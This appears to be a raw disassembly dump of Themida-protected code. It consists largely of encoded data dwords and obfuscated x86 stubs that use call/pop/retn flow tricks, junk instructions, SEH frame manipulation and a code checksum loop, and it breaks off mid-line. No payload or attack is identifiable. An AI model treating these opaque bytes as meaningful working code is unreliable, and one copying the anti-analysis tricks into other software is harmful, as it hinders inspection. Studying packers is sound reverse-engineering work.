0B08D8D2Ah dd 66060EA7h, 0D1FFD98Bh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ch, 91C35141h, 73A4F8D2h, 19E1089Ah, 30BCBF66h dd 13E8h, 0C45B1D00h, 1CED597Bh, 965903Ah, 9D24F3A0h, 576C929Ah dd 9688BB66h, 19BD835Bh, 1060B0Bh, 0AD850Fh, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 977B4AC3h, 9874E1FDh, 0DF8B6643h, 6A026Ah, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0A5D089C3h dd 0B575F652h, 9096EDDBh, 0B0BB6651h, 50505BB4h, 8B310F52h dd 90585AD9h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 18h, 0F1C35646h, 0EA01D065h, 13399D31h, 9D01060Bh, 60B2099h dd 0F1595FFh, 6A060Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 0E98293C3h, 0DCAh, 0E8h, 0ED815D00h dd 60FAFB5h, 1A6DB501h, 0B70F060Bh, 51BB66D8h, 93858D69h dd 6A060E92h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 18042444h, 42000000h, 0F200C352h, 60CBFE05h, 4810Fh dd 0BF660000h, 0CE81D747h, 254957DFh, 0AE99061h, 49000000h dd 6A9CFC09h, 0C03223CDh, 0BB6650FEh, 8B90D169h, 0B2F49BDh dd 35FF6406h, 0 ; --------------------------------------------------------------------------- push 0 push eax call sub_5870D3 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5870D3 proc near ; CODE XREF: Themida_:005870CBp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 19h inc eax push eax retn sub_5870D3 endp ; --------------------------------------------------------------------------- db 0Ch ; --------------------------------------------------------------------------- or eax, 0E2C7C5DBh jg loc_5870F1 mov bh, 0FCh loc_5870F1: ; CODE XREF: Themida_:005870E9j mov large fs:0, esp jns loc_587104 mov [ebp+60B2809h], esi loc_587104: ; CODE XREF: Themida_:005870F8j inc dword ptr [ebp+60B066Dh] mov [ebp+60B0209h], edi push 0FFFFFFFFh add edi, [ebp+60B2F51h] push dword ptr [ebp+60B1A31h] movsx edi, si call dword ptr [ebp+60B2411h] jmp loc_58721C ; --------------------------------------------------------------------------- dd 2F61BD29h, 0B0060Bh, 3819D8Bh, 70E6060Bh, 0DDBD2960h dd 89060B0Ch, 0B174585h, 71E46106h, 15DDBD01h, 613C060Bh dd 0C2830Fh, 8B660000h, 0C8B60FFAh, 6BAh, 29605100h, 0B2045BDh dd 8B5F6106h, 0C10AB3C1h, 9D2904E8h, 60B288Dh, 8BE2F766h dd 0B02C1BDh, 0FC82B06h, 689h, 57D38100h, 8B4481D6h, 0F1BB66D1h dd 7EE945h, 858B0000h, 8, 33559D8Bh, 0C083060Bh, 0F99D8B07h dd 8B060B23h, 0B0619BDh, 0C08306h, 11E952h, 167D0000h dd 3F3B1A05h, 8AF35E6Fh, 852E070Eh, 5BC9C013h, 830FD03Bh dd 11h, 0B5958956h, 5B060B06h, 33E9h, 65BB6600h, 0FF8D8B69h dd 53FFFFFFh, 32E59D89h, 835B060Bh, 840F01E1h, 18h, 0C65ABF66h dd 0FFFFA583h, 89FEFFFFh, 895h, 0E9ABB300h, 0 ; --------------------------------------------------------------------------- loc_58721C: ; CODE XREF: Themida_:00587127j lea esi, [ebp+60F3049h] push 0 push ebx call sub_58722D and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58722D proc near ; CODE XREF: Themida_:00587225p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 16h inc ebx push ebx retn sub_58722D endp ; --------------------------------------------------------------------------- sbb [ebx], al add ebp, [edx+0] push 0 push esi call sub_58724D and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58724D proc near ; CODE XREF: Themida_:00587245p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 16h inc esi push esi retn sub_58724D endp ; --------------------------------------------------------------------------- adc eax, 95893804h icebp or al, 0Bh push es call dword ptr [ebp+60B32DDh] push 0 push edi call sub_587277 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_587277 proc near ; CODE XREF: Themida_:0058726Fp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 15h inc edi push edi retn sub_587277 endp ; --------------------------------------------------------------------------- db 0DBh dd 1BCB8031h, 0BB5B589h, 0D5B9060Bh, 6600000Eh, 0E183DF8Bh dd 0ADBD8BFCh, 0FC060B29h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Dh, 69C35545h, 43A7078Dh, 0DDF04C19h, 0E9BB6667h dd 12E9C7h, 66120000h, 0A7781D0Dh, 998E266Ah, 5C92AA93h dd 0F2B8E199h, 0B8h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 0BD230085h, 60B07A1h dd 0BAh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1904h, 0C3564600h, 0B8E717ACh, 9D896F08h, 60B21E9h dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 986CBF66h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 45C35545h, 0DCB5FCF0h dd 66D9B70Fh, 0D4BE7BFh, 88h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Dh, 0D8C35242h, 11222462h, 0C933F042h dd 0C18D8978h, 8B060B19h, 0B174D95h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 29C187F9h dd 71207969h, 8D8BFC8Ah, 60B0119h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 18h, 0DBC35545h, 8DE341C0h, 8BC28B50h dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 0E8B35818h, 81858951h dd 5B060B24h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Dh, 5EC35545h, 0DED69E83h, 0D893476Ah, 850F60B0h, 6 dd 8C0Fh, 8B660000h, 9D8B61FAh, 60B2949h, 29BDBD83h, 0F00060Bh dd 6C84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1C04h, 0C3554500h, 0A7BBB34Ch, 19671577h, 0EB3DBB58h dd 0B86941h, 23000000h, 0B035D9Dh, 0D78D8D06h, 33060B4Dh dd 0B31A19Dh, 6AE1FF06h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 0C6F1C355h, 3984D245h dd 8BFC5B52h, 0B16A59Dh, 9BD8306h, 60B10h, 4BA840Fh, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 71C88C3h, 7C3AEDCh, 9D29FECDh, 60B1A2Dh, 1009BD83h dd 0F01060Bh, 49E84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1504h, 0C3554500h, 9D8BFDA1h, 60B0BB1h, 1009BD83h dd 0F03060Bh, 43886h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1504h, 0C3554500h, 5752AD0Ch, 5BDE8B66h dd 0FBB70F5Fh, 38F0F60h, 80000000h, 8C6633C3h, 0B7DF81D9h dd 807119ABh, 9D2304E1h, 60B1341h, 840FC90Ah, 146h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 85C35141h, 35964F62h dd 0FE8C06Ch, 0A8Dh, 4860F00h, 66000000h, 8BB29CBBh, 0B317D85h dd 17D78106h, 0E8300D31h, 12h, 4AB054E6h, 4C91E2D6h, 7BBF89E8h dd 7EB85DCAh, 8D89AD32h, 60B0DDDh, 0ED85335Bh, 0F9060B06h dd 4EBA6090h, 8B1C3ADAh, 8B5061FEh, 6AF990FBh, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 8D89600Fh, 60B0B91h, 5318D8Bh, 6061060Bh, 6810Fh, 8D890000h dd 60B13D5h, 6890Fh, 9D8B0000h, 60B2E61h, 22476861h, 0B5BB79E9h dd 813A7C83h, 21B82434h, 6A79F6h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1C0424h, 56460000h, 0BEFDC2C3h, 0C65C1114h dd 0BD8904DAh, 60B3331h, 0E959589h, 95FF060Bh, 60B03D1h dd 25DF8166h, 1D8589EFh, 6A060EA8h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0DAC7C356h dd 333106CBh, 5850F60h, 0BE000000h, 17AC4499h, 0DAEF8166h dd 13E9618Bh, 0F000002h, 858BDBBFh, 60EA815h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 52C35343h, 0FB828D52h dd 0FEFBF5Dh, 0D9D0125h, 0C7060B2Ah, 1800h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 0AF89788Fh, 38F0Fh, 0B70F0000h, 19B58BF9h, 6A060EA8h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 7D5CC351h, 0F1A0516h, 8166FAB7h, 0E96698DBh dd 0Eh, 5C4285A7h, 0C34120E9h, 0D0CD99C0h, 858BA979h, 60B06E1h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 7FC35141h dd 840F5489h, 3, 89DF8B66h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 3CFEBCBCh dd 666C7171h, 814EA8BBh, 418BD3DBh, 7D858B67h, 6A060B31h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h dd 41000000h, 3D06C351h, 0B6121DEFh, 9D29E98Eh, 60B26E1h dd 6A044689h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 15042444h, 47000000h, 7FFAC357h, 2860F60h, 0B4000000h dd 12E960h, 41400000h, 44B5F63h, 0C7226A6h, 69883918h dd 508C00AAh, 0DA8B9661h, 5D6DBB50h, 6A967720h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h dd 8851C353h, 0A815B5FFh, 850F060Eh, 2, 0C768D88Bh, 50693754h dd 28B0F52h, 8B000000h, 5A310FF8h, 24348158h, 69285738h dd 29F960F9h, 0B06A5B5h, 858D6106h, 60EA81Dh, 1B59BF66h dd 89DE8B50h, 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 140424h, 52420000h, 8B6016C3h, 0B0B6D95h, 0A1858B06h dd 61060B27h, 1A55B589h, 95FF060Bh, 60B03D1h, 331BD89h dd 6A61060Bh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 15042444h, 46000000h, 9FD6C356h, 78CB69BFh, 985C759h dd 3060B10h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 15042444h, 40000000h, 0FE90C350h, 12D9BD01h dd 0BD83060Bh, 60EA81Dh, 3A840F00h, 89000000h, 0B14C9BDh dd 4AE906h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1B0424h, 50400000h, 0BE252EC3h, 1001368Ch, 6810F53h dd 8B000000h, 0B2A119Dh, 0C305006h, 11440011h, 10E8C101h dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h dd 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 0D1CF8166h, 0BE873h, 22DF0000h dd 0ED18204Ah, 825DC465h, 10E9ABh, 98750000h, 0C71FF75Ah dd 2740F37Ch, 836E95B5h, 835FF7EEh, 0B1009BDh, 850F0306h dd 3E3h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Bh, 49C35242h, 39610A95h, 8B82F257h, 0B01959Dh, 83FEB306h dd 0EA81DBDh, 840F0006h, 3ABh, 2D89BD8Bh, 0B5FF060Bh, 60EA81Dh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0FEC35545h dd 0A06BEF5Bh, 0FFFD8A85h, 0B083D95h, 50006A06h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 0A81148D9h, 0C73BC27Ch dd 79BD2348h, 8B060B1Bh, 0EA811B5h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 0F9C0F70h dd 0C7AF5C08h, 1000106h, 8B609600h, 0F7BF66CFh, 0BF506163h dd 52F0E3ABh, 1DB5FF96h, 6A060EA8h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 14042444h, 40000000h, 2B48C350h dd 0B2125BDh, 256FBF06h, 95FF0F13h, 60B0641h, 3CDB8166h dd 11B58B78h, 6A060EA8h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1D042444h, 47000000h, 6A17C357h, 0E2B756B6h dd 0E0A9D7A8h, 0DEFD5BFh, 1D858B79h, 6A060B12h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h dd 7342C355h, 6FEF9FF8h, 0AAB860CEh, 8168568Fh, 83B7D4F6h dd 9D036111h, 60B2439h, 0C48689h, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 190424h, 52420000h, 4D103BC3h dd 801C6DB0h, 958BC5E3h, 60B174Dh, 83DFB70Fh, 816604C2h dd 896AD8EFh, 0BD012050h, 60B1E8Dh, 0BAEE858Dh, 0BD89060Eh dd 60B05E1h, 0B88689h, 95310000h, 60B2101h, 32D99D8Bh dd 6A060Bh, 6810Fh, 0BD8B0000h, 60B2B69h, 0A81DB5FFh, 0BD8B060Eh dd 60B1921h, 0F1595FFh, 6A060Bh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 170424h, 52420000h, 771284C3h, 0EE95096h dd 0D7000000h, 0C443050h, 6C68720Ah, 1B45F985h, 243489C7h dd 58C0Fh, 28BB0000h, 0FF22CA0Ah, 0EA81DB5h, 12E806h, 85690000h dd 1580C094h, 37D2D67Ah, 0EAEA7A71h, 0BBEAB57Ah, 1B75BF66h dd 0F595FF5Fh, 0B7060B00h, 6820F49h, 8B000000h, 0B0B959Dh dd 91BD8306h, 60B21h, 53840Fh, 96F90000h, 13E9h, 0DF6CDA00h dd 353CA2E8h, 1F3E77CAh, 0A39A3484h, 0C2D7DB87h, 0BE850h dd 0F600000h, 97A6670Ch, 8B86977Eh, 5BDA8BC5h, 50006A96h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 3A6AADFh, 0B01999Dh, 1DB5FF06h, 6A060EA8h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h dd 121C351h, 6FAF6EC9h, 840FF88Bh, 4, 46CBF66h, 128195FFh dd 6A060Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h dd 55450000h, 344745C3h, 90D5D4FFh, 0FBBF0FB6h, 0A81DB5FFh dd 6A060Eh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h dd 52420000h, 3E590AC3h, 729F2589h, 6614E2ABh, 0BDDDD781h dd 0FFD88B66h, 0B0B8D95h, 2BBB6606h, 0F1BD8323h, 2060B17h dd 59840Fh, 0DA8B0000h, 2EC5858Bh, 6A060Bh, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 33A958C3h dd 0D19EC490h, 28D0F79h, 8B000000h, 0C6F9h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 36C35545h, 0C7D40112h dd 0C74E8F9Bh, 0B06B985h, 6, 4DB53100h, 0E9060B05h, 0FFFFF330h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 72C35545h dd 365B376Ch, 0A7153756h, 0DE9h, 0C1814700h, 2019DF63h dd 91A5D951h, 0C18B3F8Dh, 63D9529h, 858D060Bh, 60B28A9h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0FDC35545h dd 0E9BEC7C1h, 11h, 0EC19221h, 3556540Ch, 8F23D82Ch, 68CB9446h dd 0FE8B664Fh, 89DF8B50h, 6A2404h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 0E4B90DC3h, 633CF005h dd 5E9F768h, 0F9000000h, 0ABF7369Ah, 0B960006Ah, 0C81F7A0h dd 33B9BD01h, 6A61060Bh, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1704h, 0C3514100h, 0DE013CAEh, 0BFBA858Dh dd 0AE8060Fh, 46000000h, 0C7DA1BF2h, 0BC2554F1h, 0C1BD8B31h dd 5F060B2Eh, 0E805C083h, 9, 5A60AB08h, 0CDFB0EFh, 0D98B66D7h dd 0DE8905Bh, 1E000000h, 0BE4E6ADFh, 3E88B867h, 1DA19FAAh dd 0BE9h, 5B28F800h, 3A2FEAE1h, 6043E021h, 8990505Fh, 0B0B51BDh dd 0BF006A06h, 6ABDCF03h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 8B272AC3h, 0B2181BDh dd 2195FF06h, 6A060B2Fh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 15042444h, 42000000h, 2EAEC352h, 0CC98D89h dd 8D8D060Bh, 60EA7B0h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ah, 0C2C35141h, 0F93DC087h, 0FE9B0CDh, 84000000h dd 571567D1h, 4EE1577Eh, 0F03BA54Bh, 0D1FF9352h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 39C35646h, 98390842h dd 225D9D0Bh, 8E9060Bh, 9F000000h, 43DE2110h, 83D7AF86h dd 0B0B19BDh, 850F0106h, 6Eh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 17h, 9AC35040h, 89576C92h, 0B02F98Dh dd 6A026A06h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 7A8FC356h, 0B8DC5998h, 0CFBF7D27h dd 28F0F50h, 0B3000000h, 240489D8h, 289D9D89h, 95FF060Bh dd 60B0F15h, 8BD38B60h, 0B1741B5h, 0E0E96106h, 0E800000Ch dd 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 60FBFC4h mov ebx, [ebp+60B02A9h] sub [ebp+60B0FEDh], ecx xor bx, 94F6h lea eax, [ebp+60E9293h] push 0 push ecx call sub_588091 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_588091 proc near ; CODE XREF: Themida_:00588089p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 19h inc ecx push ecx retn sub_588091 endp ; --------------------------------------------------------------------------- db 0F8h, 63h, 84h ; --------------------------------------------------------------------------- test al, 79h adc [edi], ecx add dword ptr [esi], 89000000h popf mov [ecx], ebp or eax, [esi] jmp loc_5880C5 ; --------------------------------------------------------------------------- dd 9F184229h, 75C11BCFh, 0F40DC726h ; --------------------------------------------------------------------------- pop ss loc_5880C5: ; CODE XREF: Themida_:005880B3j push eax mov edi, 24C69531h mov [esp], eax push 0 push esi call sub_5880D9 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5880D9 proc near ; CODE XREF: Themida_:005880D1p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Bh inc esi push esi retn sub_5880D9 endp ; --------------------------------------------------------------------------- or byte ptr [ebp-574E65CEh], 1Ch daa mov edi, edx push ebx stc pop ebx push large dword ptr fs:0 mov [ebp+60B13E5h], eax mov large fs:0, esp push 0 push edx call sub_588115 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_588115 proc near ; CODE XREF: Themida_:0058810Dp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 19h inc edx push edx retn sub_588115 endp ; --------------------------------------------------------------------------- db 7Ch, 0BBh, 0FEh dd 0E9FACEA1h, 0Ah, 3D872501h, 3C1F26h, 85FF406Eh, 60B066Dh dd 0C718D89h, 0FF6A060Bh, 0D9B5FFFCh, 0E9060B0Eh, 0Ah dd 0B805DC74h, 142CB156h, 95FFC0DFh, 60B2411h, 123E9h dd 0D3816600h, 0B064BFh, 3059D8Bh, 70E6060Bh, 8A59D8Bh dd 0BD01060Bh, 60B1789h, 858971E4h, 60B2E71h, 613C69B7h dd 0F6830Fh, 0FC8A0000h, 0BAC8B60Fh, 6, 89C18BF5h, 0B240D95h dd 4E8C106h, 661ECB80h, 9D31E2F7h, 60B0C75h, 0DE9h, 89DF200h dd 753736DAh, 1800B63Ch, 0C82BD9CDh, 21018589h, 0D18B060Bh dd 0E9F9B70Fh, 0B0h, 1765BD8Bh, 858B060Bh, 1, 68A0Fh, 0B5890000h dd 60B0571h, 0E807C083h, 0Fh, 0F1C97A96h, 121BD86h, 6FAF6EC9h dd 8991520Eh, 0B14C195h, 0B9605F06h, 1A97955Ah, 12E9h dd 0AFCE3C00h, 9A5B2BCFh, 2A8202E0h, 0A4C0589Ch, 6172797Bh dd 6000C083h, 0F598D89h, 0BF0F060Bh, 0D03B61D8h, 0E830Fh dd 0B5890000h, 60B0139h, 3BE9h, 5BFC5000h, 0FFFF8D8Bh dd 9D8BFFFFh, 60B0CDDh, 0F01E183h, 2384h, 0C3816600h, 0A583B3E9h dd 0FFFFFFFFh, 3D9D8BFEh, 89060B10h, 195h, 0BD9D0B00h dd 0E9060B08h, 0 ; --------------------------------------------------------------------------- lea esi, [ebp+60F3F1Eh] ja loc_5882A4 ja loc_5882A4 jbe $+6 loc_5882A4: ; CODE XREF: Themida_:00588292j ; Themida_:00588298j push 0 push 0 push ebx call sub_5882B1 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5882B1 proc near ; CODE XREF: Themida_:005882A9p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 15h inc ebx push ebx retn sub_5882B1 endp ; --------------------------------------------------------------------------- sbb [eax+66h], esi sbb ebx, 0BF0FA81Dh sti call dword ptr [ebp+60B32DDh] mov [ebp+60B285Dh], ebx mov ecx, 1093h push 0 push edx call sub_5882E7 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5882E7 proc near ; CODE XREF: Themida_:005882DFp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 14h inc edx push edx retn sub_5882E7 endp ; --------------------------------------------------------------------------- db 4Ch ; --------------------------------------------------------------------------- add [ebp+60B0EE9h], esi and ecx, 0FFFFFFFCh push 0 push ebp call sub_58830C and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58830C proc near ; CODE XREF: Themida_:00588304p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Bh inc ebp push ebp retn sub_58830C endp ; --------------------------------------------------------------------------- movsx esp, word ptr [ecx] jnb short near ptr loc_588321+1 loc_588321: ; CODE XREF: Themida_:0058831Fj sub eax, ebp pop ss mov [ebp+60B327Dh], esi cld push 0 push edx call sub_588336 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_588336 proc near ; CODE XREF: Themida_:0058832Ep arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 19h inc edx push edx retn sub_588336 endp ; --------------------------------------------------------------------------- and eax, 0B7CDB693h or dword ptr [edi], 0FFFFFFBFh sti sub eax, eax and ebx, [ebp+60B003Dh] mov edx, 0 movzx edi, bx loc_58835F: ; CODE XREF: Themida_:00588369j lodsd xor eax, edx shr eax, 1 add edx, eax sub ecx, 4 jnz short loc_58835F mov di, 0E1A9h push 0 push ebp call sub_58837A and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58837A proc near ; CODE XREF: Themida_:00588372p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Bh inc ebp push ebp retn sub_58837A endp ; --------------------------------------------------------------------------- dw 7F3Fh dd 0BB1B1978h, 6EBF6E8Fh, 0D135EECh, 88h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 15h, 71C35646h, 0FDBD8B82h dd 8B060B03h, 0B174D95h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1A04h, 0C3534300h, 0D593F24Eh, 53E311C5h dd 3AC38166h, 8D8B5B06h, 60B0119h, 319BD8Bh, 8B50060Bh dd 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h, 3179BD8Bh dd 6A060Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h dd 56460000h, 612F97C3h, 8392DB24h, 0B29BDBDh, 840F0006h dd 77h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch dd 6FC35040h, 7BE89E3Dh, 255FFDFDh, 2989BD8Bh, 8166060Bh dd 0B82157DBh, 0 dd 21B58D89h, 8D8D060Bh, 60B4DD7h, 0DE8h, 0E100B500h, 55DF4FA1h dd 0FECB52D8h, 0FF5B9B31h, 51006AE1h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 8ABBAB45h dd 833B8A14h, 0B1009BDh, 840F0006h, 420h, 5880Fh, 81660000h dd 83127FCFh, 0B1009BDh, 840F0106h, 423h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 19h, 0E5C35141h, 92F890F7h dd 0B8D381B2h, 0F80DF096h, 1009BD83h, 0F03060Bh, 3B886h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h dd 0C3564600h, 90490A8Dh, 85B5179Ah, 0E8DE8BA8h, 14h, 3DFC382Dh dd 94ED015Dh, 0D729D728h, 972A530h, 35D49FB7h, 119D33h dd 605F060Bh, 27698589h, 8D09060Bh, 60B0339h, 31D98C66h dd 0B2D8D8Dh, 4E18006h, 0F9F78166h, 0FC90A2Ch, 17384h dd 0D1BD8B00h, 8B060B02h, 0B317D85h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 66A41463h dd 8ABBC381h, 6ED8533h, 8E0F060Bh, 0Ch, 7E9h, 45F78000h dd 93B99289h, 58B0Fh, 81660000h, 90978FEFh, 0C18B6660h dd 5061F98Ah, 178A0Fh, 12E90000h, 0A3000000h, 91AD9490h dd 82AA2345h, 0AF0A4342h, 0F0194F0Bh, 6A9060h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 0F1B54C3h, 8B66DEB7h, 80006AF9h, 0B70F12E3h, 0DB8C68D8h dd 820F25DEh, 3, 81F88B66h, 0D8732434h, 6A25C1h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 0C5F700C3h, 0AB57F87Bh, 6BBFBF91h, 9D8B5B5Ah, 60B1FD5h dd 3D195FFh, 6A060Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 190424h, 52420000h, 59A3D4C3h, 2B01BB45h, 0B0B31BDh dd 1D858906h, 6A060EA8h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1D042444h, 41000000h, 39F3C351h, 0DDF77A1h dd 152CA0FCh, 20398D89h, 9FE9060Bh, 6A000001h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 0C3D0C350h, 0BC8DBC41h, 9D8BA859h, 60B2DE9h, 0A815858Bh dd 7E9060Eh, 0C2000000h, 67911F71h, 0C77055h, 18h, 322D9589h dd 9D89060Bh, 60B2801h, 0A819B58Bh, 0F88B060Eh, 486CBF66h dd 6E1858Bh, 6A060Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 140424h, 56460000h, 0CE971C3h, 0E5000000h, 9E9DC027h dd 0BA4ABC48h, 8924BF6Ch, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 858BF1D6h dd 60B317Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 14h, 33C35242h, 4C1BD33h, 4689060Bh, 880F04h, 50000000h dd 4880Fh, 0BB660000h, 34898CFEh, 57006A24h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 0B5FFF9D5h dd 60EA815h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 14h, 57C35545h, 68DAB70Fh, 0BB167ABh, 123757BBh, 2434817Fh dd 0BAE6454h, 0BD5BD8Bh, 858D060Bh, 60EA81Dh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0F9C35747h, 96BB9436h dd 8589A5C9h, 60B02DDh, 0E7EECBFh, 8E9502Ah, 0A1000000h dd 2634EC9h, 896111B3h, 9D8B2404h, 60B31E1h, 0DCDB589h dd 95FF060Bh, 60B03D1h, 228DBD8Bh, 6A61060Bh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 0C7B1C357h, 0B100985h, 306h, 0D98B6600h, 0A81DBD83h dd 0F00060Eh, 2C84h, 42E900h, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0A99299C3h dd 9C5013D5h, 0B74A4E7Eh, 0C3050CCh, 11440011h, 10E8C101h dd 